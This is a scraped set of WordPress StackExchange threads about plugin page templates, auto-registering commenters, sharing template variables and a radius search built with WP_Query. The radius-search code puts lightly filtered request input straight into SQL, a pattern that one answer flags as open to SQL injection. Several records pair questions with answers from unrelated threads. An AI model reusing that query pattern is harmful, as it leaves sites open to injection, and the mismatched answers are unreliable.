"text": "<p>Thanks for the help. I changed the code a little to work with the current WordPress version. Also changed it to support more than one custom template.</p>\n\n<p>I bet there is a better way of doing this but it worked for me.</p>\n\n<pre><code>/**\n * Load Template with Plugin\n */\nfunction yourname_add_page_template ($templates) {\n $templates['page-one.php'] = 'title here One';\n $templates['page-two.php'] = 'title here Two';\n $templates['page-three.php'] = 'title here Three';\n return $templates;\n}\nadd_filter ('theme_page_templates', 'yourname_add_page_template');\n\nfunction yourname_redirect_page_template ($template) {\n $post = get_post();\n $page_template = get_post_meta( $post->ID, '_wp_page_template', true );\n if ('page-one.php' == basename ($page_template)) {\n $template = WP_PLUGIN_DIR . '/pluginname/templates/page-one.php';\n return $template;\n }\n elseif ('page-two.php' == basename ($page_template)) {\n $template = WP_PLUGIN_DIR . '/pluginname/templates/page-two.php';\n return $template;\n }\n elseif ('page-three.php' == basename ($page_template)) {\n $template = WP_PLUGIN_DIR . '/pluginname/templates/page-three.php';\n return $template;\n }\n}\nadd_filter ('page_template', 'yourname_redirect_page_template');\n\n</code></pre>\n"
},
{
"answer_id": 359486,
"author": "Mayur Chauhan",
"author_id": 85001,
"author_profile": "https://wordpress.stackexchange.com/users/85001",
"pm_score": 0,
"selected": false,
"text": "<p>The below code snippet is very well thought out, it will try to look for a template in the plugin and if it can't find it there it will try to get it from the theme.</p>\n\n<pre><code>define( 'MY_PLUGIN_DIR', plugin_dir_path( __FILE __ ) );\ndefine( 'MY_PLUGIN_TEMPLATE_DIR', MY_PLUGIN_DIR . '/templates/' );\n\nadd_filter( 'template_include', 'ibenic_include_from_plugin', 99 );\n\nfunction ibenic_include_from_plugin( $template ) {\n\n $new_template = '';\n\n $provided_template_array = explode( '/', $template );\n\n // This will give us archive.php\n $new_template = end( $provided_template_array );\n\n // Define single and archive template for custom post type 'portfolio'\n if( is_singular('portfolio') ) {\n $new_template = 'single-portfolio.php';\n }\n\n if( is_post_type_archive( 'portfolio' ) ) {\n $new_template = 'archive-portfolio.php';\n }\n\n $plugin_template = MY_PLUGIN_TEMPLATE_DIR . $new_template;\n\n if( file_exists( $plugin_template ) ) {\n return $plugin_template;\n }\n\n return $template;\n}\n</code></pre>\n\n<p>Source: <a href=\"https://www.ibenic.com/include-or-override-wordpress-templates/\" rel=\"nofollow noreferrer\">https://www.ibenic.com/include-or-override-wordpress-templates/</a></p>\n"
},
{
"answer_id": 410978,
"author": "sallycakes",
"author_id": 187152,
"author_profile": "https://wordpress.stackexchange.com/users/187152",
"pm_score": 0,
"selected": false,
"text": "<p>Here's an update for 2022: Below this code will add a template to the page template list and register it within your plugin files</p>\n<pre><code>// ------------register page template to page template lists------------\nfunction register_custom_template_list ($templates) {\n // ------------register template display name to file name------------\n $templates['my-template.php'] = 'My Template Name';\n // ------------return page template list with new addition------------\n return $templates;\n}\n// ------------hook page template to page template lists------------\nadd_filter('theme_page_templates', 'register_custom_template_list');\n\n// ------------register page template to file------------\nfunction render_custom_template_archive ($template) {\n // ------------get currently edited page attributes------------\n $post = get_post();\n $page_template = get_post_meta( $post->ID, '_wp_page_template', true );\n // ------------check if selected template is for custom template------------\n if (basename ($page_template) == 'my-template.php'){\n // ------------register page template file to page------------\n $template = dirname(__DIR__).'/path_to/my-template.php';\n // ------------render custom template content template------------\n return $template;\n } else {\n // ------------return selected template if custom template is not selected------------\n return $template;\n }\n}\n// ------------hook page template to file------------\nadd_filter('page_template', 'render_custom_template_archive');\n</code></pre>\n"
},
{
"answer_id": 410994,
"author": "t31os",
"author_id": 31073,
"author_profile": "https://wordpress.stackexchange.com/users/31073",
"pm_score": 0,
"selected": false,
"text": "<p>Now that WordPress supports using what was traditionally referred to as Page Templates with other post types, it seems like an updated example that works for posts and custom post types as well as pages might be helpful.</p>\n<pre><code>/*\n Plugin Name: Example Plugin Templates\n Plugin URI: \n Description: Load page(or post type) templates from a plugin\n Version: 0.1\n Requires at least: 6.0\n Requires PHP: 7\n Author: t31os\n Author URI: \n License: GPL v2 or later\n License URI: https://www.gnu.org/licenses/gpl-2.0.html\n*/\nnamespace t31os\\Plugin;\n\nif( !defined('ABSPATH') )\n exit;\n\nclass Plugin_Templates {\n \n private $types;\n private $args;\n private $folder;\n private $templates = [\n 'template-name-1.php' => 'Plugin Template 1'\n ,'template-name-2.php' => 'Plugin Template 2'\n ,'template-name-3.php' => 'Plugin Template 3'\n ];\n \n public function __construct() {\n // Hook late so plugins/themes have time to register post types\n add_action( 'init', [$this, 'on_init'], 5000 );\n }\n public function on_init() {\n \n // Filter hooks, because why not!\n $this->args = apply_filters( 'my_plugin_template_type_args', [ 'public' => true ] );\n $this->folder = apply_filters( 'my_plugin_template_directory', __DIR__ . '/templates/' );\n $this->templates = apply_filters( 'my_plugin_template_file_list', $this->templates );\n // Set the post types \n $this->types = get_post_types( $this->args );\n \n // We don't use page templates with attachments\n unset( $this->types['attachment'] );\n \n // Add custom files to template list\n add_filter( 'theme_templates', [$this,'add_plugin_templates'], 1000, 4 );\n \n // If page is one of the types\n if( isset( $this->types['page'] ) )\n add_filter( 'page_template', [$this,'set_plugin_page_template'], 1000, 3 );\n \n // And deal with other post types\n add_filter( 'single_template', [$this,'set_plugin_type_template'], 1000, 3 ); \n }\n public function add_plugin_templates( $post_templates, $obj, $post, $post_type ) {\n \n if( !isset( $this->types[$post_type] ) )\n return $post_templates;\n \n foreach( $this->templates as $file => $name )\n $post_templates[$file] = $name;\n \n return $post_templates;\n }\n private function is_plugin_template( $file ) {\n return (bool) isset( $this->templates[$file] ) && file_exists( $this->folder . $file );\n }\n public function set_plugin_page_template( $template, $type, $templates ) {\n \n if( !isset( $templates[0] ) )\n return $template;\n \n if( $this->is_plugin_template( $templates[0] ) )\n return $this->folder . $templates[0];\n \n return $template;\n }\n public function set_plugin_type_template( $template, $type, $templates ) {\n \n if( !isset( $templates[0] ) || 'single' !== $type )\n return $template;\n \n if( $this->is_plugin_template( $templates[0] ) )\n return $this->folder . $templates[0];\n \n return $template;\n }\n // Simple function for debugging / checking values\n private function pre( $s ) {\n printf( '<pre>%s</pre>', print_r( $s, true ) );\n }\n}\nnew Plugin_Templates;\n</code></pre>\n<p>I tried not to be too abstract and keep the logic fairly simple, any problems, add a comment.</p>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255804",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112935/"
]
| I want to add page templates to a theme directly from the plugin. The idea is that the template would show up in the dropdown under Page Attributes, and all the code would need to be in the plugin.
Any tips on how to achieve that ? | You can use the [`theme_page_templates`](https://developer.wordpress.org/reference/hooks/theme_page_templates/) filter to add templates to the dropdown list of page templates like this:
```
function wpse255804_add_page_template ($templates) {
$templates['my-custom-template.php'] = 'My Template';
return $templates;
}
add_filter ('theme_page_templates', 'wpse255804_add_page_template');
```
Now WP will be searching for `my-custom-template.php` in the theme directory, so you will have to redirect that to your plugin directory by using the [`page_template`](https://codex.wordpress.org/Plugin_API/Filter_Reference/page_template) filter like this:
```
function wpse255804_redirect_page_template ($template) {
if ('my-custom-template.php' == basename ($template))
$template = WP_PLUGIN_DIR . '/mypluginname/my-custom-template.php';
return $template;
}
add_filter ('page_template', 'wpse255804_redirect_page_template');
```
Read more about this here: [Add custom template page programmatically](https://wordpress.stackexchange.com/questions/13378/add-custom-template-page-programmatically) |
255,813 | <p>Google Search Console detects Category Pagination data up Duplicate Meta Description. Duplicate meta descriptions data is the category description that I have provided, which shows up in every pages.</p>
<p>The error is of Duplicate meta descriptions under HTML Improvements.</p>
<p>The better way I can explain this problem is by sharing the blog links directly. The problem is with the following page -</p>
<p><a href="https://technosamigos.com/category/android/root/page/6/" rel="nofollow noreferrer">https://technosamigos.com/category/android/root/page/6/</a>
<a href="https://technosamigos.com/category/android/root/page/7/" rel="nofollow noreferrer">https://technosamigos.com/category/android/root/page/7/</a></p>
<p>There are few more errors of same kind.</p>
<p>How can I resolve this issue?</p>
| [
{
"answer_id": 255809,
"author": "mrben522",
"author_id": 84703,
"author_profile": "https://wordpress.stackexchange.com/users/84703",
"pm_score": -1,
"selected": false,
"text": "<pre><code><?php load_template( $_template_file, $require_once ) ?>\n</code></pre>\n\n<p>That is from the <a href=\"https://codex.wordpress.org/Function_Reference/load_template\" rel=\"nofollow noreferrer\">very 1st</a> google search results for \"load template from plugin\". Please make an effort to find the answers yourself before asking here.</p>\n"
},
{
"answer_id": 255810,
"author": "Svartbaard",
"author_id": 112928,
"author_profile": "https://wordpress.stackexchange.com/users/112928",
"pm_score": 0,
"selected": false,
"text": "<p>From the codex:</p>\n\n<pre><code><?php \n $templates = get_page_templates();\n foreach ( $templates as $template_name => $template_filename ) {\n echo \"$template_name ($template_filename)<br />\";\n }\n?>\n</code></pre>\n\n<p>You get then use the current templates and programmatically add them to whatever you wish.</p>\n"
},
{
"answer_id": 255820,
"author": "cjbj",
"author_id": 75495,
"author_profile": "https://wordpress.stackexchange.com/users/75495",
"pm_score": 5,
"selected": true,
"text": "<p>You can use the <a href=\"https://developer.wordpress.org/reference/hooks/theme_page_templates/\" rel=\"noreferrer\"><code>theme_page_templates</code></a> filter to add templates to the dropdown list of page templates like this:</p>\n\n<pre><code>function wpse255804_add_page_template ($templates) {\n $templates['my-custom-template.php'] = 'My Template';\n return $templates;\n }\nadd_filter ('theme_page_templates', 'wpse255804_add_page_template');\n</code></pre>\n\n<p>Now WP will be searching for <code>my-custom-template.php</code> in the theme directory, so you will have to redirect that to your plugin directory by using the <a href=\"https://codex.wordpress.org/Plugin_API/Filter_Reference/page_template\" rel=\"noreferrer\"><code>page_template</code></a> filter like this:</p>\n\n<pre><code>function wpse255804_redirect_page_template ($template) {\n if ('my-custom-template.php' == basename ($template))\n $template = WP_PLUGIN_DIR . '/mypluginname/my-custom-template.php';\n return $template;\n }\nadd_filter ('page_template', 'wpse255804_redirect_page_template');\n</code></pre>\n\n<p>Read more about this here: <a href=\"https://wordpress.stackexchange.com/questions/13378/add-custom-template-page-programmatically\">Add custom template page programmatically</a></p>\n"
},
{
"answer_id": 316273,
"author": "TKEz",
"author_id": 83438,
"author_profile": "https://wordpress.stackexchange.com/users/83438",
"pm_score": 3,
"selected": false,
"text": "<p>This is a combination of the above answer and the above comments which ended up working for me.</p>\n\n<p>The function to add the plugin to the list of available templates:</p>\n\n<pre><code>function wpse255804_add_page_template ($templates) {\n $templates['my-custom-template.php'] = 'My Template';\n return $templates;\n }\nadd_filter ('theme_page_templates', 'wpse255804_add_page_template');\n</code></pre>\n\n<p><br>\nThe function to point the template to the appropriate directory within the plugin:</p>\n\n<pre><code>function wpse255804_redirect_page_template ($template) {\n $post = get_post();\n $page_template = get_post_meta( $post->ID, '_wp_page_template', true );\n if ('my-custom-template.php' == basename ($page_template))\n $template = WP_PLUGIN_DIR . '/mypluginname/my-custom-template.php';\n return $template;\n }\nadd_filter ('page_template', 'wpse255804_redirect_page_template');\n</code></pre>\n"
},
{
"answer_id": 339312,
"author": "user988846",
"author_id": 13136,
"author_profile": "https://wordpress.stackexchange.com/users/13136",
"pm_score": 1,
"selected": false,
"text": "<p>Thanks for the help. I changed the code a little to work with the current WordPress version. Also changed it to support more than one custom template.</p>\n\n<p>I bet there is a better way of doing this but it worked for me.</p>\n\n<pre><code>/**\n * Load Template with Plugin\n */\nfunction yourname_add_page_template ($templates) {\n $templates['page-one.php'] = 'title here One';\n $templates['page-two.php'] = 'title here Two';\n $templates['page-three.php'] = 'title here Three';\n return $templates;\n}\nadd_filter ('theme_page_templates', 'yourname_add_page_template');\n\nfunction yourname_redirect_page_template ($template) {\n $post = get_post();\n $page_template = get_post_meta( $post->ID, '_wp_page_template', true );\n if ('page-one.php' == basename ($page_template)) {\n $template = WP_PLUGIN_DIR . '/pluginname/templates/page-one.php';\n return $template;\n }\n elseif ('page-two.php' == basename ($page_template)) {\n $template = WP_PLUGIN_DIR . '/pluginname/templates/page-two.php';\n return $template;\n }\n elseif ('page-three.php' == basename ($page_template)) {\n $template = WP_PLUGIN_DIR . '/pluginname/templates/page-three.php';\n return $template;\n }\n}\nadd_filter ('page_template', 'yourname_redirect_page_template');\n\n</code></pre>\n"
},
{
"answer_id": 359486,
"author": "Mayur Chauhan",
"author_id": 85001,
"author_profile": "https://wordpress.stackexchange.com/users/85001",
"pm_score": 0,
"selected": false,
"text": "<p>The below code snippet is very well thought out, it will try to look for a template in the plugin and if it can't find it there it will try to get it from the theme.</p>\n\n<pre><code>define( 'MY_PLUGIN_DIR', plugin_dir_path( __FILE __ ) );\ndefine( 'MY_PLUGIN_TEMPLATE_DIR', MY_PLUGIN_DIR . '/templates/' );\n\nadd_filter( 'template_include', 'ibenic_include_from_plugin', 99 );\n\nfunction ibenic_include_from_plugin( $template ) {\n\n $new_template = '';\n\n $provided_template_array = explode( '/', $template );\n\n // This will give us archive.php\n $new_template = end( $provided_template_array );\n\n // Define single and archive template for custom post type 'portfolio'\n if( is_singular('portfolio') ) {\n $new_template = 'single-portfolio.php';\n }\n\n if( is_post_type_archive( 'portfolio' ) ) {\n $new_template = 'archive-portfolio.php';\n }\n\n $plugin_template = MY_PLUGIN_TEMPLATE_DIR . $new_template;\n\n if( file_exists( $plugin_template ) ) {\n return $plugin_template;\n }\n\n return $template;\n}\n</code></pre>\n\n<p>Source: <a href=\"https://www.ibenic.com/include-or-override-wordpress-templates/\" rel=\"nofollow noreferrer\">https://www.ibenic.com/include-or-override-wordpress-templates/</a></p>\n"
},
{
"answer_id": 410978,
"author": "sallycakes",
"author_id": 187152,
"author_profile": "https://wordpress.stackexchange.com/users/187152",
"pm_score": 0,
"selected": false,
"text": "<p>Here's an update for 2022: Below this code will add a template to the page template list and register it within your plugin files</p>\n<pre><code>// ------------register page template to page template lists------------\nfunction register_custom_template_list ($templates) {\n // ------------register template display name to file name------------\n $templates['my-template.php'] = 'My Template Name';\n // ------------return page template list with new addition------------\n return $templates;\n}\n// ------------hook page template to page template lists------------\nadd_filter('theme_page_templates', 'register_custom_template_list');\n\n// ------------register page template to file------------\nfunction render_custom_template_archive ($template) {\n // ------------get currently edited page attributes------------\n $post = get_post();\n $page_template = get_post_meta( $post->ID, '_wp_page_template', true );\n // ------------check if selected template is for custom template------------\n if (basename ($page_template) == 'my-template.php'){\n // ------------register page template file to page------------\n $template = dirname(__DIR__).'/path_to/my-template.php';\n // ------------render custom template content template------------\n return $template;\n } else {\n // ------------return selected template if custom template is not selected------------\n return $template;\n }\n}\n// ------------hook page template to file------------\nadd_filter('page_template', 'render_custom_template_archive');\n</code></pre>\n"
},
{
"answer_id": 410994,
"author": "t31os",
"author_id": 31073,
"author_profile": "https://wordpress.stackexchange.com/users/31073",
"pm_score": 0,
"selected": false,
"text": "<p>Now that WordPress supports using what was traditionally referred to as Page Templates with other post types, it seems like an updated example that works for posts and custom post types as well as pages might be helpful.</p>\n<pre><code>/*\n Plugin Name: Example Plugin Templates\n Plugin URI: \n Description: Load page(or post type) templates from a plugin\n Version: 0.1\n Requires at least: 6.0\n Requires PHP: 7\n Author: t31os\n Author URI: \n License: GPL v2 or later\n License URI: https://www.gnu.org/licenses/gpl-2.0.html\n*/\nnamespace t31os\\Plugin;\n\nif( !defined('ABSPATH') )\n exit;\n\nclass Plugin_Templates {\n \n private $types;\n private $args;\n private $folder;\n private $templates = [\n 'template-name-1.php' => 'Plugin Template 1'\n ,'template-name-2.php' => 'Plugin Template 2'\n ,'template-name-3.php' => 'Plugin Template 3'\n ];\n \n public function __construct() {\n // Hook late so plugins/themes have time to register post types\n add_action( 'init', [$this, 'on_init'], 5000 );\n }\n public function on_init() {\n \n // Filter hooks, because why not!\n $this->args = apply_filters( 'my_plugin_template_type_args', [ 'public' => true ] );\n $this->folder = apply_filters( 'my_plugin_template_directory', __DIR__ . '/templates/' );\n $this->templates = apply_filters( 'my_plugin_template_file_list', $this->templates );\n // Set the post types \n $this->types = get_post_types( $this->args );\n \n // We don't use page templates with attachments\n unset( $this->types['attachment'] );\n \n // Add custom files to template list\n add_filter( 'theme_templates', [$this,'add_plugin_templates'], 1000, 4 );\n \n // If page is one of the types\n if( isset( $this->types['page'] ) )\n add_filter( 'page_template', [$this,'set_plugin_page_template'], 1000, 3 );\n \n // And deal with other post types\n add_filter( 'single_template', [$this,'set_plugin_type_template'], 1000, 3 ); \n }\n public function add_plugin_templates( $post_templates, $obj, $post, $post_type ) {\n \n if( !isset( $this->types[$post_type] ) )\n return $post_templates;\n \n foreach( $this->templates as $file => $name )\n $post_templates[$file] = $name;\n \n return $post_templates;\n }\n private function is_plugin_template( $file ) {\n return (bool) isset( $this->templates[$file] ) && file_exists( $this->folder . $file );\n }\n public function set_plugin_page_template( $template, $type, $templates ) {\n \n if( !isset( $templates[0] ) )\n return $template;\n \n if( $this->is_plugin_template( $templates[0] ) )\n return $this->folder . $templates[0];\n \n return $template;\n }\n public function set_plugin_type_template( $template, $type, $templates ) {\n \n if( !isset( $templates[0] ) || 'single' !== $type )\n return $template;\n \n if( $this->is_plugin_template( $templates[0] ) )\n return $this->folder . $templates[0];\n \n return $template;\n }\n // Simple function for debugging / checking values\n private function pre( $s ) {\n printf( '<pre>%s</pre>', print_r( $s, true ) );\n }\n}\nnew Plugin_Templates;\n</code></pre>\n<p>I tried not to be too abstract and keep the logic fairly simple, any problems, add a comment.</p>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255813",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/107637/"
]
| Google Search Console detects Category Pagination data up Duplicate Meta Description. Duplicate meta descriptions data is the category description that I have provided, which shows up in every pages.
The error is of Duplicate meta descriptions under HTML Improvements.
The better way I can explain this problem is by sharing the blog links directly. The problem is with the following page -
<https://technosamigos.com/category/android/root/page/6/>
<https://technosamigos.com/category/android/root/page/7/>
There are few more errors of same kind.
How can I resolve this issue? | You can use the [`theme_page_templates`](https://developer.wordpress.org/reference/hooks/theme_page_templates/) filter to add templates to the dropdown list of page templates like this:
```
function wpse255804_add_page_template ($templates) {
$templates['my-custom-template.php'] = 'My Template';
return $templates;
}
add_filter ('theme_page_templates', 'wpse255804_add_page_template');
```
Now WP will be searching for `my-custom-template.php` in the theme directory, so you will have to redirect that to your plugin directory by using the [`page_template`](https://codex.wordpress.org/Plugin_API/Filter_Reference/page_template) filter like this:
```
function wpse255804_redirect_page_template ($template) {
if ('my-custom-template.php' == basename ($template))
$template = WP_PLUGIN_DIR . '/mypluginname/my-custom-template.php';
return $template;
}
add_filter ('page_template', 'wpse255804_redirect_page_template');
```
Read more about this here: [Add custom template page programmatically](https://wordpress.stackexchange.com/questions/13378/add-custom-template-page-programmatically) |
255,850 | <p>I want to make all new commenters have a new account without them having to go through any registration process. That way if they use the same details again it will be stored as another comment they made.</p>
<p>I do not want to require them to "register" but instead register them automatically when they put their info into the comment form.</p>
<p>I'm using the default wordpress comment system without any plugins.</p>
<p>How can I make it so users are registered automatically when putting info into comment form to make a comment?</p>
| [
{
"answer_id": 255854,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>To achieve this, create a new page template and use this code in that file. Then, use your submit form to redirect the user after commenting to the new page.</p>\n\n<pre><code>$user_login = $_POST['user_login'];\n$user_email = $_POST['user_email'];\n$errors = register_new_user($user_login, $user_email);\nif ( !is_wp_error($errors) ) {\n $redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';\n wp_safe_redirect( $redirect_to );\n exit();\n}\n</code></pre>\n\n<p>Note that <code>user_login</code> and <code>user_email</code> are the names of your form's input boxes. The passwords will be randomly generated and sent to user's email address.</p>\n"
},
{
"answer_id": 255858,
"author": "Spartacus",
"author_id": 32329,
"author_profile": "https://wordpress.stackexchange.com/users/32329",
"pm_score": -1,
"selected": false,
"text": "<p>Hook into <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/comment_post\" rel=\"nofollow noreferrer\"><code>comment_post</code></a> and use <a href=\"https://developer.wordpress.org/reference/functions/wp_insert_user/\" rel=\"nofollow noreferrer\"><code>wp_insert_user()</code></a>:</p>\n<pre><code>add_action('comment_post','wpse_255850_reg_user',10,2);\nfunction wpse_255850_reg_user($comment_ID, $comment_approved) {\n if( 1 === $comment_approved ){\n $userdata = array(\n 'user_login' => sanitize_user($_POST['username']),\n 'user_email' => sanitize_email($_POST['user_email']),\n 'user_pass' => NULL,\n 'role' => 'subscriber',\n 'show_admin_bar_front' => false\n );\n\n $user_id = wp_insert_user( $userdata ) ;\n\n // On success.\n if ( ! is_wp_error( $user_id ) ) {\n wp_redirect( get_permalink() ); exit;\n }\n\n } //end if\n } //end function\n</code></pre>\n<p>The $_POST values in this code should reflect those of your actual comment form, the ones here are just generic. And make sure you thoroughly sanitize and validate your user inputs.</p>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255850",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112958/"
]
| I want to make all new commenters have a new account without them having to go through any registration process. That way if they use the same details again it will be stored as another comment they made.
I do not want to require them to "register" but instead register them automatically when they put their info into the comment form.
I'm using the default wordpress comment system without any plugins.
How can I make it so users are registered automatically when putting info into comment form to make a comment? | To achieve this, create a new page template and use this code in that file. Then, use your submit form to redirect the user after commenting to the new page.
```
$user_login = $_POST['user_login'];
$user_email = $_POST['user_email'];
$errors = register_new_user($user_login, $user_email);
if ( !is_wp_error($errors) ) {
$redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
wp_safe_redirect( $redirect_to );
exit();
}
```
Note that `user_login` and `user_email` are the names of your form's input boxes. The passwords will be randomly generated and sent to user's email address. |
255,880 | <p>I need to initialize some variables in various templates (index, single, page) such as banner image of that page. But then use that value in the 'get_header()' template. A good example of this is the og_image that's usually in the header.php set of meta tags inside the head of the HTML. This image is the visual moniker for any given template page. So the best place to get this info is in the context of the main loop of that template. However the og_image tag itself is not inside that template (such as single.php) but inside the header.php. </p>
<p>Setting a variable to "global" inside single.php doesn't help because these are not just straight includes as in regular Php. They are somehow more wordpress specific. </p>
<p>The other option could be to do some black magic inside functions.php, but for something this straightforward, I would prefer not to overdo some function. Is there an easier way or best practice to share variables' values across headed and footer and sidebar? </p>
| [
{
"answer_id": 255854,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>To achieve this, create a new page template and use this code in that file. Then, use your submit form to redirect the user after commenting to the new page.</p>\n\n<pre><code>$user_login = $_POST['user_login'];\n$user_email = $_POST['user_email'];\n$errors = register_new_user($user_login, $user_email);\nif ( !is_wp_error($errors) ) {\n $redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';\n wp_safe_redirect( $redirect_to );\n exit();\n}\n</code></pre>\n\n<p>Note that <code>user_login</code> and <code>user_email</code> are the names of your form's input boxes. The passwords will be randomly generated and sent to user's email address.</p>\n"
},
{
"answer_id": 255858,
"author": "Spartacus",
"author_id": 32329,
"author_profile": "https://wordpress.stackexchange.com/users/32329",
"pm_score": -1,
"selected": false,
"text": "<p>Hook into <a href=\"https://codex.wordpress.org/Plugin_API/Action_Reference/comment_post\" rel=\"nofollow noreferrer\"><code>comment_post</code></a> and use <a href=\"https://developer.wordpress.org/reference/functions/wp_insert_user/\" rel=\"nofollow noreferrer\"><code>wp_insert_user()</code></a>:</p>\n<pre><code>add_action('comment_post','wpse_255850_reg_user',10,2);\nfunction wpse_255850_reg_user($comment_ID, $comment_approved) {\n if( 1 === $comment_approved ){\n $userdata = array(\n 'user_login' => sanitize_user($_POST['username']),\n 'user_email' => sanitize_email($_POST['user_email']),\n 'user_pass' => NULL,\n 'role' => 'subscriber',\n 'show_admin_bar_front' => false\n );\n\n $user_id = wp_insert_user( $userdata ) ;\n\n // On success.\n if ( ! is_wp_error( $user_id ) ) {\n wp_redirect( get_permalink() ); exit;\n }\n\n } //end if\n } //end function\n</code></pre>\n<p>The $_POST values in this code should reflect those of your actual comment form, the ones here are just generic. And make sure you thoroughly sanitize and validate your user inputs.</p>\n"
}
]
| 2017/02/09 | [
"https://wordpress.stackexchange.com/questions/255880",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/16142/"
]
| I need to initialize some variables in various templates (index, single, page) such as banner image of that page. But then use that value in the 'get\_header()' template. A good example of this is the og\_image that's usually in the header.php set of meta tags inside the head of the HTML. This image is the visual moniker for any given template page. So the best place to get this info is in the context of the main loop of that template. However the og\_image tag itself is not inside that template (such as single.php) but inside the header.php.
Setting a variable to "global" inside single.php doesn't help because these are not just straight includes as in regular Php. They are somehow more wordpress specific.
The other option could be to do some black magic inside functions.php, but for something this straightforward, I would prefer not to overdo some function. Is there an easier way or best practice to share variables' values across headed and footer and sidebar? | To achieve this, create a new page template and use this code in that file. Then, use your submit form to redirect the user after commenting to the new page.
```
$user_login = $_POST['user_login'];
$user_email = $_POST['user_email'];
$errors = register_new_user($user_login, $user_email);
if ( !is_wp_error($errors) ) {
$redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
wp_safe_redirect( $redirect_to );
exit();
}
```
Note that `user_login` and `user_email` are the names of your form's input boxes. The passwords will be randomly generated and sent to user's email address. |
255,897 | <p>Following <a href="http://biostall.com/performing-a-radial-search-with-wp_query-in-wordpress/" rel="nofollow noreferrer">this tutorial</a>, I want to search for posts within the radius where the <code>post_type=profile</code></p>
<pre><code>add_filter('posts_where', 'location_posts_where', 10);
$query = new WP_Query( array( 'post_type' => 'profile' ) );
remove_filter('posts_where', 'location_posts_where', 10);
function location_posts_where( $where )
{
global $wpdb;
$latitude = filter_input( INPUT_GET, "latitude", FILTER_SANITIZE_STRING );
$longitude = filter_input( INPUT_GET, "longitude", FILTER_SANITIZE_STRING );
// Specify the co-ordinates that will form
// the centre of our search
//$latitude = '-27.922459';
//$longitude = '153.334793';
$radius = '125'; // (in miles)
if (is_search() && get_search_query())
// Append our radius calculation to the WHERE
$where .= " AND $wpdb->posts.ID IN (SELECT post_id FROM lat_lng_post WHERE
( 3959 * acos( cos( radians(" . $latitude . ") )
* cos( radians( lat ) )
* cos( radians( lng )
- radians(" . $longitude . ") )
+ sin( radians(" . $latitude . ") )
* sin( radians( lat ) ) ) ) <= " . $radius . ")";
// Return the updated WHERE part of the query
return $where;
}
</code></pre>
<p>But it displays no posts and when I debug, this is the SQL query it is actually running:</p>
<pre><code>SELECT wp_posts.ID FROM wp_posts WHERE 1=1 AND wp_posts.post_type = 'post' AND ((wp_posts.post_status = 'publish')) AND wp_posts.ID IN (SELECT post_id FROM lat_lng_post WHERE
( 3959 * acos( cos( radians(-27.922459) )
* cos( radians( lat ) )
* cos( radians( lng )
- radians(153.334793) )
+ sin( radians(-27.922459) )
* sin( radians( lat ) ) ) ) <= 125) ORDER BY wp_posts.post_date DESC LIMIT 0, 5
</code></pre>
<p>This line is the problem: <code>AND wp_posts.post_type = 'post'</code> Why isn't the WP_Query argument working to pass <code>post_type = profile</code>? Or am I doing something wrong?</p>
| [
{
"answer_id": 255919,
"author": "Brian Fegter",
"author_id": 4793,
"author_profile": "https://wordpress.stackexchange.com/users/4793",
"pm_score": 1,
"selected": false,
"text": "<p>You are removing the filter too early. Remove it after you have completed your loop and everything should be fine. Simply building a new WP_Query object doesn't actually apply the filters on instantiation. The filters are applied in the <code>get_posts()</code> method of the query object.</p>\n"
},
{
"answer_id": 255923,
"author": "birgire",
"author_id": 26350,
"author_profile": "https://wordpress.stackexchange.com/users/26350",
"pm_score": 3,
"selected": true,
"text": "<p>Remove this part from your <code>posts_where</code> filter:</p>\n\n<pre><code>if (is_search() && get_search_query())\n</code></pre>\n\n<p>Note that <code>is_search()</code> is a check on the main query.</p>\n\n<p>If you want to target the main search query, there's the <code>posts_search</code> filter available.</p>\n\n<p><strong>Important</strong>: Watch out for possible SQL injections, as you are taking user input into the SQL query. I think the <code>FILTER_SANITIZE_STRING</code> filter is too weak here, as it allows e.g. parentheses, where it allows the user to modify the structure of the SQL query. Consider <code>$wpdb->prepare()</code> with <code>%f</code>or <code>%F</code> <a href=\"http://php.net/manual/en/function.sprintf.php\" rel=\"nofollow noreferrer\">type specifiers</a> for floating point numbers.</p>\n"
}
]
| 2017/02/10 | [
"https://wordpress.stackexchange.com/questions/255897",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/447/"
]
| Following [this tutorial](http://biostall.com/performing-a-radial-search-with-wp_query-in-wordpress/), I want to search for posts within the radius where the `post_type=profile`
```
add_filter('posts_where', 'location_posts_where', 10);
$query = new WP_Query( array( 'post_type' => 'profile' ) );
remove_filter('posts_where', 'location_posts_where', 10);
function location_posts_where( $where )
{
global $wpdb;
$latitude = filter_input( INPUT_GET, "latitude", FILTER_SANITIZE_STRING );
$longitude = filter_input( INPUT_GET, "longitude", FILTER_SANITIZE_STRING );
// Specify the co-ordinates that will form
// the centre of our search
//$latitude = '-27.922459';
//$longitude = '153.334793';
$radius = '125'; // (in miles)
if (is_search() && get_search_query())
// Append our radius calculation to the WHERE
$where .= " AND $wpdb->posts.ID IN (SELECT post_id FROM lat_lng_post WHERE
( 3959 * acos( cos( radians(" . $latitude . ") )
* cos( radians( lat ) )
* cos( radians( lng )
- radians(" . $longitude . ") )
+ sin( radians(" . $latitude . ") )
* sin( radians( lat ) ) ) ) <= " . $radius . ")";
// Return the updated WHERE part of the query
return $where;
}
```
But it displays no posts and when I debug, this is the SQL query it is actually running:
```
